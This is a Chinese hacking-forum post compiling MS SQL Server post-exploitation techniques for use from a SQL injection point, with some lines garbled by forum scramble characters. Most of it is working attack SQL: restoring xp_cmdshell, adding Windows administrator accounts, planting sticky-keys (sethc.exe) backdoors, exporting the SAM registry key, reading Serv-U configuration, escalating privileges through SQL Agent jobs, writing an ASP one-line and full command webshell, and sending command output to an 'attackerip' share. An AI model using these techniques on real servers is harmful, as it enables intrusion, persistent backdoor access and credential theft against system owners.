找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2550|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号  G! {; b' T" ?2 ?/ c' a# ?
恢复方法:查询分离器连接后,4 d" W) M, Y1 q! I( q7 \
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
) K( t0 A: W3 n+ H第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
+ N2 L% ~; G0 p然后按F5键命令执行完毕! w" s5 D+ \& I1 q) e0 K7 L

" H1 H" |' f6 F8 x2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)5 ^: t! F+ y" S" V+ {
恢复方法:查询分离器连接后,
! \" ^' l" d* M! e( N第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
' P' j) n  I' d: a) P) y" i第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
. Q8 m) Y: F, N" `然后按F5键命令执行完毕. Q$ f; T1 C4 o: C8 H9 x8 B
0 C$ k" r% W4 l& C
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
3 p. Q( N0 A/ l, E恢复方法:查询分离器连接后,
5 X- j* B/ B5 l- z0 Z第一步执行:exec sp_dropextendedproc 'xp_cmdshell') N* J( A$ E9 |, P6 _+ r
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       * S8 M4 c5 I; \8 b
然后按F5键命令执行完毕
3 a. y' `4 Y  t$ C
: @6 i  p9 `* S9 A2 v4 终极方法.
2 K+ f1 ~' s. Y如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
5 {' q: N3 J& N* U) [  k查询分离器连接后,! }  {; g* c( b) q0 M
2000servser系统:
' _% M# ]5 n( x' n& Kdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'& s' p( z' |; f

9 j8 e7 r; r5 R/ mdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'8 g; }& Q8 i' n2 L& D; ]" z

7 O) l( w) w5 B. ]6 r+ Qxp或2003server系统:( h5 Q& Y  V/ A! H4 H6 V) N
' r) j8 v/ H; [
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'/ V" K: j! X" M! f3 r# l

5 M  O6 [0 L! [" s1 J1 ^6 s# [declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
" C; w( _9 b& h' |' }5 {5 W, h) |& E& I* T- ~$ C0 c" F; d

9 d1 E2 l; h6 m0 m. N五个SHIFT+ @( M5 ^2 e. V5 F) W
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
  ]1 Z+ t7 U. l" ]( L8 L* k+ D
8 D3 U7 o  E8 @2 I, E2 odeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 0 Y# D# K: E7 d
/ D$ A4 w# J2 [: P+ T6 \4 ]9 e
xp_cmdshell执行命令另一种方法
" W5 M" S! r( K# `" G' edeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' ; S9 r3 Z; |! b! R' f+ R( [
; |# J/ y" k4 f" S. M$ }" p
判断存储扩展是否存在
. f  N% J, X1 l; t$ R* I, Q/ zSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'$ A2 \! Q+ l# q; e$ \7 A
返回结果为1就OK3 O( ]. ^5 o0 h6 c# i- E( e2 O
, s3 x6 p. q; o1 j' C

3 [! }4 b4 x' U8 C0 h, `8 q上传xplog70.dll恢复xp_cmdshell语句:
* [* h6 d* |  m7 P, ]sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
( e! d$ N2 g: I, ~% P6 g' r; V5 J
4 \2 ?' B/ p2 R# n4 ]. j8 a否则上传xplog7.0.dll% g8 j$ t- z  Y& ?4 q
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
! ]7 I2 {/ L  a
0 b. |* s  m8 w
8 {1 k7 S# A$ v" f+ a5 h8 H) _1 U, Y% K8 s
首先开启沙盘模式:- C( {- @, {9 ^  G' K+ z
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
; p( H9 o3 i8 A, X7 W1 K! V( i& l  f! j" _2 B
然后利用jet.oledb执行系统命令7 d) d' B" f7 t  e% u
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
7 Q' y3 o  y$ n3 v4 h( l返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了# k5 m. T" a: v$ z8 i
( U9 H5 Y6 ^, u6 f0 J
4 v. g) t. g7 I/ j- h' r! C
! J6 W2 z) z! c
恢复过程sp_addextendedproc 如下: ) D. ~% S! N( f, ~$ Z" F: k
create procedure sp_addextendedproc --- 1996/08/30 20:13 ! E$ Y/ D( `6 e- J. V3 l
@functname nvarchar(517),/* (owner.)name of function to call */
% G- t* @$ Q' h! ?! ]@dllname varchar(255)/* name of DLL containing function */ ! q5 m$ m) ^& v7 t, f, H
as
! _5 q- }- A- F. e( d( M" rset implicit_transactions off
5 a4 N3 D# U/ m7 {: z, ^, j2 t" Gif @@trancount > 0 # V8 N. X7 O. _, c6 a
begin # g- p" c  R# Y0 R, U
raiserror(15002,-1,-1,'sp_addextendedproc')
/ c9 p9 J/ P4 x/ G  X: @7 Xreturn (1) % L" G4 I+ Q6 v
end
* d( p; p% r) ?& A3 idbcc addextendedproc( @functname, @dllname)
, q0 O. s7 \5 Y" \/ preturn (0) -- sp_addextendedproc
2 |8 N2 @8 l2 q9 x2 {GO
8 h& i5 c9 @0 r; l; Z/ a( f$ \2 k5 I+ U. Y& K

& L6 f! F2 x; Z) L* S
) h2 B1 Y) c# O) U导出管理员密码文件1 P7 y: r- `: Y- _8 P
sa默认可以读sam键.应该。
4 u; e+ r% b) T" Wreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
0 j6 O6 `0 n" D+ r8 j# x1 unet user administrator test
0 `/ H9 b' |  `% |# q) j6 {) [用administrator登陆.
# E4 ~- Y, Z& u) y用完机器后
/ y& d# e* j4 z' Ereg import c:\test.reg
% I7 q- }% U( S. d根本不用克隆.8 }1 r1 ]8 E* B# K  {" o3 T& }
找到对应的sid.
' l& c2 m' m* ?/ _0 d, ]: [9 c6 |4 c6 X/ k

# Y$ f! M0 e' ^% Y- x/ C/ Z9 s7 g8 I# v/ b: n
恢复所有存储过程. X4 H& k3 c9 s# f8 U1 u
use master
  q# N! D" [! {0 Z! i1 |exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 2 @/ M* b1 I9 K( U; A
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
/ H2 X* P  R9 Qexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
% \1 G+ p, e% Y$ O& yexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
8 k  ~& e% A% x! c/ Y; j5 Lexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
7 w& o- W  r" B& _! [: \exec sp_addextendedproc sp_OACreate,'odsole70.dll' ! [; n) C" f' ?3 [" N
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
# w& I1 g! [! Kexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
9 i; P# F) }" X5 m) Q3 b  Fexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
- Q  W' q* ]: `/ A8 Iexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
: ]$ K0 n& \7 i: b: k1 O- Yexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 6 j0 Y& x' o. o+ t9 _: ]
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
8 Q. B8 W+ e; K; vexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
* v& N% ~4 [7 b# Sexec sp_addextendedproc xp_regdeletekey,'xpstar.dll' ) n6 P: l) j$ O1 Z6 y
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
. y. o' F  \" G3 W" z# B- `4 Kexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
3 n( z* ~- H3 u6 t7 ?exec sp_addextendedproc xp_regread,'xpstar.dll' , M+ y4 S- J0 v3 f
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
' ~; h8 A/ t: W" ?+ |exec sp_addextendedproc xp_regwrite,'xpstar.dll'
: J" V2 X0 V( j/ u- N9 Z/ Dexec sp_addextendedproc xp_availablemedia,'xpstar.dll', ~# |4 L; a* J5 ^
+ [9 S  m) Y% Q. Q1 F
! R% h6 M) a6 h
建立读文件的存储过程
$ j) p* z1 x2 |" A) l) WCreate proc sp_readTextFile @filename sysname9 r$ t! o% k$ w  d9 ~
as
) t# R( p1 \2 q2 q8 D& K2 \/ C, j7 Z& f+ ^* h$ P
    begin
; Z5 O: L: y8 i' L0 F3 L    set nocount on 0 _) Z# O. v  s4 E, v6 V  g
    Create table #tempfile (line varchar(8000))
# Q. y" b& w6 V4 M. `) t    exec ('bulk insert #tempfile from "' + @filename + '"')
3 e& N6 ?% D1 `9 W2 n2 p/ D    select * from #tempfile
1 b" E' e! Y4 ]4 Y) x: T+ f5 V    drop table #tempfile
/ Y1 \& i4 q% }% }  ?7 rEnd
  ]; D, f- U* f2 N9 q/ U$ j
- o- s! n6 T3 M: k% O  texec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
8 R* p6 m8 }4 i# G查看登录用户4 w8 g! w. p3 u8 T1 `! I3 q
Select * from sysxlogins
% S" F+ m- n1 e: T  E- f
2 @' }# J2 r$ z6 o, f把文件内容读取到表中6 j) z. q/ C* y. z* A' b9 O
BULK INSERT tmp from "c:\test.txt"3 e5 q  Y! q3 A% I' B# R* H3 u
dElete from 表名 清理表里的内容" h8 t1 }+ T( @0 `
create table b_test(fn nvarchar(4000));建一个表,字段为fn; j+ G% _, H: s, h/ w8 p
4 ]" t6 n3 {4 P1 C5 T, D

# t7 L0 ]( A' V加sa用户% ?( g/ x  Y* Q& z6 X* y
exec master.dbo.sp_addlogin user,pass;
! O3 V1 m+ D- k2 O& i3 j* Fexec master.dbo.sp_addsrvrolemember user,sysadmin
+ \/ r: [: N$ I) W: w
  f" i8 k) h  f  D- k  K* K1 Z! j+ |1 @8 `, f( K
8 I$ b1 m, o1 w5 h
读文件代码
) a3 I' i/ U9 U1 d: M- I: pdeclare @o int, @f int, @t int, @ret int
  s: ^, h& s' X  sdeclare @line varchar(8000)4 |0 v9 [7 S2 R8 Z- I9 L+ S. |
exec sp_oacreate 'scripting.filesystemobject', @o out
8 A6 X$ S4 Y. n4 E1 ?$ O. d8 bexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 11 S, M( D6 _* \* g+ {
exec @ret = sp_oamethod @f, 'readline', @line out
- ]! @  m/ R0 C/ ~while( @ret = 0 )
* ?) C7 H( }# ]. v: jbegin
) q6 D, n* Q& }7 N/ R4 V; D' cprint @line$ b3 G9 ?- ?" o4 Q
exec @ret = sp_oamethod @f, 'readline', @line out
$ a* d3 h- k* Vend0 }$ _# Q9 ~, r0 R8 s9 l" m' s) b

  L: z! p5 p) T! P) W& J8 A) C% ]: t  S; c! ~6 y
写文件代码:
/ B8 @2 n: {- Z( w" jdeclare @o int, @f int, @t int, @ret int6 |2 R' j+ x0 [: D
exec sp_oacreate 'scripting.filesystemobject', @o out, z: q/ {9 k* R
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
# R' ?$ n3 u  C2 H# e, N8 M! A6 Zexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
& s) v; A8 F0 s; R
; f' j" i2 a( U0 @2 z) h. g
7 N+ C, N. J) _7 o4 N添加lake2 shell
( H) I& c9 r3 g3 F0 [  |sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'( x- [. P) b( f5 ^
sp_dropextendedproc xp_lake2! A* w8 X" s: E$ D$ ?
EXEC xp_lake2 'net user'& Q! R% F1 N4 X

0 e' d) d+ e: ~- ]  H" y, s6 |7 g' N* }% o9 s  ?! u' S3 `
得到硬盘文件信息
6 Q( U  p4 F  i* Q. A--参数说明:目录名,目录深度,是否显示文件 $ B6 Q- D* c8 Z* P- g
execute master..xp_dirtree 'c:'
- g) D: r/ ^0 q. w# z8 B( Gexecute master..xp_dirtree 'c:',1 * x* D8 T3 D# G
execute master..xp_dirtree 'c:',1,1
" x4 U: n( q+ g9 V+ x+ {/ g' ^2 N+ T

: B2 j/ W  O. W读serv-u配置信息
4 M) a/ L1 p$ R7 h* _exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'" V1 n, x' t5 Z9 G
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'5 \. [" C8 p) r' v
' n, D& v* s4 ]  d# P
通过xp_regwrite写SHIFT后门
# Y( O: I$ }& ~  y' ~2 _. Iexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
! }$ m6 b" d  Z- P
* P- t; R' M$ V  G, e: _  [, w. \, s1 A; c3 D+ P
1 G2 O4 i$ `) C9 i
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';9 B& `5 D1 t/ F4 ]0 U2 O! g! G7 n
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了0 o( ?% m" e+ r% |- F6 S( e

/ ]" W# w6 T  F# A! H6 y( kEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表') g7 e; A, B2 x" R; ~- R9 k

7 i8 S2 _: h5 {
, r8 o4 v# p# ?0 B
; ?5 G8 f# _% ^- [0 X, H! Usql server 2005下开启xp_cmdshell的办法* V4 J; Q( p# v! k2 k3 S* U
$ z1 \: Z6 I1 H$ Z- X  ~# F% G
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
& C9 V% A% D  [; U; ^. C; a9 S4 T' ^  \
SQL2005开启'OPENROWSET'支持的方法:
7 H9 n: O! O8 L1 `
; b- @4 o% E, ^/ _# _% Nexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;2 j/ l4 t" ?' [8 z( D3 e' G
* v- k4 S  ^! P2 e
SQL2005开启'sp_oacreate'支持的方法:
  ~  O0 _: Q1 H' T
# s7 O" z; g$ V0 s& J; Aexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;7 z# s8 l8 J0 q. r/ b0 S
4 v, ^1 j0 s" D4 A5 ?  [
6 b' d9 k& k% M8 T3 C

# [3 `& f2 |& T0 `& I5 n9 b
3 Y8 u+ K. U6 @& H( F9 e% D! y9 ^2 H. ?9 j/ ^, z+ }

$ @3 j2 T' o4 k9 _
" T  {% ]7 W" x* \. W
9 d/ Y$ t4 A! l& l. o6 U9 i$ V8 c/ m2 [( t  r& ^: I+ Y0 U+ S

" |8 x$ o# w4 u9 J; |( }( m1 N: a* X- k  v
% G  {  u, {( {' o) U

0 Y5 }, N/ a& j8 e: a9 w6 `
. ~4 {- a9 b$ e% E* }
5 G/ m, |7 {3 R2 n& h* s1 \0 K% R, q2 a, G: Y: C) g% l
- v4 l9 C4 Q: m' Q+ W: ?
. U7 A0 {0 v; j& X, a
+ L+ V* I, |4 S# N

5 o2 b# ~- b5 x) f
  M6 I1 n3 R; ~# Y1 `# W; x# r, r4 C& x: a. ^: E. d* O4 C

  A! i9 I7 S: K2 }/ N+ {. s4 Y. X" u& t: ?( J& d  h3 A+ _
以下方面不知道能不能成功暂且留下研究哈:1 A, U' h! v! S6 n( h
4)
! |8 k7 l0 x( ]0 \! Z. c/ Puse msdb; --这儿不要是master哟
: a' S! U  U  v) Cexec sp_add_job @job_name= czy82 ;4 j: I% {  _' a) N' i* C. Y% w
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
+ I) h" [# U( e- yexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
# E$ F. Z3 z% Mexec sp_start_job @job_name= czy82 ;
9 I" O. r9 X# X* L% f9 [- e% P
+ ?# l# _' d$ P: r, C利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
( y4 \- `$ E* _7 v( t执行tsql语句了.
3 a1 @& I: J9 K% U5 K  v7 `3 h对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名0 X8 J+ V2 s2 e. k+ u, R1 Y6 I$ K
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
- S! V1 q8 t% r% e8 Fnet start SQLSERVERAGENT( i% [  `6 w6 Z' M) b+ q0 K  m

% Z' h, J3 g# ]! O4 |对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的/ B. N6 B0 `/ ^6 ~1 e
USE msdb( N# u& P! P; ]9 F7 d9 s+ _: v/ ?! P
EXEC sp_add_job @job_name = GetSystemOnSQL ,$ H( W+ h4 [% h5 {
@enabled = 1,9 S) ]# c3 w. D5 T& H3 }* L
@description = This will give a low privileged user access to
1 }. X( `2 t# f" i$ jxp_cmdshell ,
! l0 e0 }: ~& d7 [@delete_level = 1
* G; j- J) p- EEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,- i* D* D1 D* l  C. r- F+ A
@step_name = Exec my sql ,: U) x( b! g) j0 k5 A
@subsystem = TSQL ,. T' p- |1 ]* ]& r
@command = exec master..xp_execresultset N select exec
7 T; ?$ ~( z/ H. a9 G. Omaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master ! u3 q1 O( h6 T; p2 d
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
* S7 u& S% G* _4 g: I: G% X@server_name = 你的SQL的服务器名
3 |3 Z7 E4 \' D) W: nEXEC sp_start_job @job_name = GetSystemOnSQL
. j, ^2 M. D# k! q. T- L/ x, {3 b, ~- c
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以, K3 W4 y. ?' @  Z- C
才让我们可以以public执行xp_cmdshell" e3 p% V& Z3 j- G. s

3 V: C; s0 Y% p5 z8 t5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
% X7 d3 G1 K0 H6 D* M( C在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
. F0 o  w/ o7 ]+ m: h
- _! }2 x3 G' I8 X& W: JUSE msdb
8 V0 ~8 d2 y( g3 `/ t* X+ F% [: x- kEXEC sp_add_job @job_name = ArbitraryFilecreate ,; B7 ]  ^0 \! ^0 b
@enabled = 1,5 P' s' [5 q2 f5 Y
@description = This will create a file called c:\sqlafc123.txt ,
$ C1 G5 v5 G! O4 I$ T5 T@delete_level = 1
1 H9 c& Y- K$ d& {" kEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,  `( A% k" `3 W7 f
@step_name = SQLAFC ,
8 _5 s, q* G0 S& D@subsystem = TSQL ,
8 |2 ]1 T0 o6 U+ {@command = select hello, this file was created by the SQL Agent. ,: x$ r  K. K3 T. Y
@output_file_name = c:\sqlafc123.txt 8 \! [( |' K, [; K" X4 [) O, E
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
( }0 A+ @$ o" u/ l@server_name = SERVER_NAME ( R+ ^% g3 L. g
EXEC sp_start_job @job_name = ArbitraryFilecreate ) u0 \& {+ Y3 J- H7 B( Y5 U3 l0 u. _

( V6 j( \5 P  W$ N3 ]) k, u  P4 s如果subsystem选的是:tsql,在生成的文件的头部有如下内容
2 C- G4 \; R  W. u$ ~% ?! t+ D
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
4 d8 r/ f' h+ n+ `3 P----------------------------------------------
3 D& i( S( Z4 y) phello, this file was created by the SQL Agent.  E% J8 A- g/ g1 h; o$ k

1 E$ H1 j  m: s: b2 |) C7 v6 y(1 ?????)
8 }$ n3 L1 z; t# q3 R# ?- V* r6 M
$ G3 H3 R. v+ T9 ]# T7 p所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
% F" |7 _# D/ b1 o% q' {  L, t命令的vbs文件到启动目录!$ v* L2 t( i6 D/ |" t9 E

5 g( q  K# ^5 r! E0 X6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
% H# s$ b* A6 H: ~关于sp_MScopyscriptfile 看下面的例子
; U* B' f5 A  a, }3 O2 L; Ldeclare @command varchar(100) ) C8 U( H8 p  Z, d  w
declare @scripfile varchar(200)
1 J1 m' q1 z' rset concat_null_yields_null off
- D# {- [0 M: T0 u* T9 \3 [select @command= dir c:\ > "\\attackerip\share\dir.txt"
1 h5 A8 u8 C& g: Y5 Tselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
0 Q* n* v+ u  g4 kexec sp_MScopyscriptfile @scripfile ,
: J" }# u2 Z! t8 o! z
6 K. w: _) S6 a这两个东东都还在测试试哟
2 M! J9 {6 Z% m; D# w6 f# F让MSSQL的public用户得到一个本机的web shell4 R) W( \' o$ x4 A& a
% R5 |5 S- u1 V  Q
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
/ U2 r% D: f" r, W8 F. M$ o--@query= select <img src=vbscript:msgbox(now())>
9 O  \; L* b' Q, i--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> ! s: c7 O5 }3 h- W
@query= select 2 v1 N' A( G/ J. H. N
<%On Error Resume Next 8 I: {; [: [; k1 I. @  M9 S
Set oscript = Server.createObject("wscript.SHELL")
% t: v6 J; s+ l& S. t4 ISet oscriptNet = Server.createObject("wscript.NETWORK") 7 k7 E3 `' D. s+ K7 C6 o5 @! J
Set oFileSys = Server.createObject("scripting.FileSystemObject") " l; Y0 D0 X9 q7 B4 d/ z& k) e
szCMD = Request.Form(".CMD")
3 ]: x5 n9 ?) G: sIf (szCMD <>"")Then
6 `- S1 _: C! W7 w$ c8 G: wszTempFile = "C:\" & oFileSys.GetTempName()
8 [: d6 D8 {1 f/ L6 N3 ZCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
% R6 |* U! w* c4 X' n3 u  WSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 5 \1 i! W/ y+ a" }* g0 z, V9 @9 o7 d
End If %> 6 U' A" S3 s+ c3 p3 F
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> 0 ]6 u$ u+ v- U+ k& V& ~
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
  N* X" `- K' P) r8 o: }- D  p</FORM><RE> $ M: D/ P# i) U
<% If (IsObject(oFile))Then 9 ?) D# O, D( C! n. K' j
On Error Resume Next
1 }4 G+ i2 r, dResponse.Write Server.HTMLEncode(oFile.ReadAll)
) n+ {- a/ _# b1 ~, ~oFile.Close 5 u7 a* p' }. }0 E" A
Call oFileSys.deleteFile(szTempFile, True) 6 b6 P' |* L' N
End If%> , T/ |) Q; m  @* K5 G& e' O
</BODY></HTML>
5 U& e- R, u8 s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表